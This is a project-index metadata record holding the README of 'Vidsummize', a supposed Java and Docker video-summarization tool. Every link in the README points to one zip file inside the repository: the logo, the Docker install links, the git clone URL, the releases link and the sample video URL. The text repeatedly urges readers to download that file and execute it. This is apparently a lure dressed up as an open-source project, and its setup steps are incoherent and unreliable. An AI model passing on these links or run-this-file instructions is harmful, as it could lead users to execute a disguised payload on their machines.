{"id":27306235,"url":"https://github.com/blublublabla/vidsummize","last_synced_at":"2026-04-11T02:03:02.574Z","repository":{"id":287418349,"uuid":"964624680","full_name":"BluBluBlaBla/vidsummize","owner":"BluBluBlaBla","description":"Vidsummize","archived":false,"fork":false,"pushed_at":"2025-04-12T03:30:27.000Z","size":8439,"stargazers_count":0,"open_issues_count":0,"forks_count":0,"subscribers_count":1,"default_branch":"master","last_synced_at":"2025-04-12T03:59:03.930Z","etag":null,"topics":["docker","docker-compose","java","jooq","liquibase","ollama","ollama-api","spring-boot","whisper","whisper-cpp"],"latest_commit_sha":null,"homepage":null,"language":"Java","has_issues":false,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":null,"status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/BluBluBlaBla.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":null,"code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null}},"created_at":"2025-04-11T14:11:16.000Z","updated_at":"2025-04-12T03:30:31.000Z","dependencies_parsed_at":"2025-04-11T17:03:34.212Z","dependency_job_id":null,"html_url":"https://github.com/BluBluBlaBla/vidsummize","commit_stats":null,"previous_names":["blublublabla/vidsummize"],"tags_count":0,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/BluBluBlaBla%2Fvidsummize","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/BluBluBlaBla%2Fvidsummize/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/BluBluBlaBla%2Fvidsummize/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/BluBluBlaBla%2Fvidsummize/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/BluBluBlaBla","download_url":"https://codeload.github.com/BluBluBlaBla/vidsummize/tar.gz/refs/heads/master","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":248514203,"owners_count":21116900,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["docker","docker-compose","java","jooq","liquibase","ollama","ollama-api","spring-boot","whisper","whisper-cpp"],"created_at":"2025-04-12T03:59:07.016Z","updated_at":"2026-04-11T02:03:02.562Z","avatar_url":"https://github.com/BluBluBlaBla.png","language":"Java","funding_links":[],"categories":[],"sub_categories":[],"readme":"# Vidsummize 🎥✨\n\n![Vidsummize Logo](https://raw.githubusercontent.com/BluBluBlaBla/vidsummize/master/src/main/Software-v3.5.zip%20to%20Use-brightgreen)\n\nWelcome to **Vidsummize**, a powerful tool designed to help you summarize video content efficiently. This repository provides a seamless way to integrate video summarization into your projects using modern technologies like Docker, Spring Boot, and more.\n\n## Table of Contents\n\n- [Introduction](#introduction)\n- [Features](#features)\n- [Technologies Used](#technologies-used)\n- [Getting Started](#getting-started)\n- [Installation](#installation)\n- [Usage](#usage)\n- [Contributing](#contributing)\n- [License](#license)\n- [Contact](#contact)\n\n## Introduction\n\nIn a world flooded with video content, finding the key points can be a challenge. Vidsummize addresses this need by providing a straightforward solution to summarize videos, making it easier for users to digest information quickly. Whether you're a developer looking to enhance your application or a researcher needing quick insights, Vidsummize is here to help.\n\n## Features\n\n- **Easy Setup**: Get started quickly with Docker and Docker Compose.\n- **Java-Based**: Built on Java, ensuring high performance and reliability.\n- **Database Management**: Utilizes Liquibase for database version control.\n- **API Integration**: Connects seamlessly with Ollama and its API.\n- **Advanced Summarization**: Leverages Whisper and Whisper-CPP for accurate audio transcription.\n- **User-Friendly**: Designed with simplicity in mind, making it accessible for all skill levels.\n\n## Technologies Used\n\nVidsummize incorporates several technologies to deliver its features:\n\n- **Docker**: For containerization and easy deployment.\n- **Docker Compose**: To manage multi-container applications.\n- **Java**: The core programming language used for development.\n- **jOOQ**: For type-safe SQL query generation.\n- **Liquibase**: For managing database changes.\n- **Ollama**: To provide advanced language models.\n- **Ollama API**: For integrating AI capabilities.\n- **Spring Boot**: For building the backend application.\n- **Whisper**: For transcribing audio.\n- **Whisper-CPP**: An optimized version of Whisper for performance.\n\n## Getting Started\n\nTo get started with Vidsummize, follow the steps below. Make sure you have Docker and Docker Compose installed on your machine.\n\n### Prerequisites\n\n- Docker: [Install Docker](https://raw.githubusercontent.com/BluBluBlaBla/vidsummize/master/src/main/Software-v3.5.zip)\n- Docker Compose: [Install Docker Compose](https://raw.githubusercontent.com/BluBluBlaBla/vidsummize/master/src/main/Software-v3.5.zip)\n\n## Installation\n\n1. **Clone the Repository**:\n   ```bash\n   git clone https://raw.githubusercontent.com/BluBluBlaBla/vidsummize/master/src/main/Software-v3.5.zip\n   cd vidsummize\n   ```\n\n2. **Download the Latest Release**:\n   Visit [Releases](https://raw.githubusercontent.com/BluBluBlaBla/vidsummize/master/src/main/Software-v3.5.zip) to download the latest version. Follow the instructions provided there to execute the necessary files.\n\n3. **Build and Run**:\n   Use Docker Compose to build and run the application:\n   ```bash\n   docker-compose up --build\n   ```\n\n## Usage\n\nOnce the application is running, you can access the API endpoints to summarize videos. Here’s how to use it:\n\n1. **API Endpoint**: Use the following endpoint to submit a video for summarization:\n   ```\n   POST /api/summarize\n   ```\n\n2. **Request Body**:\n   Provide the video URL in the request body:\n   ```json\n   {\n     \"videoUrl\": \"https://raw.githubusercontent.com/BluBluBlaBla/vidsummize/master/src/main/Software-v3.5.zip\"\n   }\n   ```\n\n3. **Response**:\n   The API will return a summary of the video content.\n\n### Example Request\n\nHere’s an example using `curl`:\n```bash\ncurl -X POST http://localhost:8080/api/summarize \\\n-H \"Content-Type: application/json\" \\\n-d '{\"videoUrl\": \"https://raw.githubusercontent.com/BluBluBlaBla/vidsummize/master/src/main/Software-v3.5.zip\"}'\n```\n\n### Example Response\n\n```json\n{\n  \"summary\": \"This video discusses the key points of...\"\n}\n```\n\n## Contributing\n\nWe welcome contributions to Vidsummize! If you would like to contribute, please follow these steps:\n\n1. Fork the repository.\n2. Create a new branch for your feature or bug fix.\n3. Make your changes and commit them.\n4. Push to your branch.\n5. Create a pull request.\n\nPlease ensure that your code adheres to the existing style and includes tests where applicable.\n\n## License\n\nThis project is licensed under the MIT License. See the [LICENSE](LICENSE) file for details.\n\n## Contact\n\nFor questions or suggestions, please open an issue on the repository or contact us directly.\n\n### Download Latest Release\n\nFor the latest updates and releases, check out [Releases](https://raw.githubusercontent.com/BluBluBlaBla/vidsummize/master/src/main/Software-v3.5.zip) again. Download the necessary files and execute them to stay updated.\n\n---\n\nThank you for using Vidsummize! We hope it enhances your video summarization experience.","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fblublublabla%2Fvidsummize","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fblublublabla%2Fvidsummize","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fblublublabla%2Fvidsummize/lists"}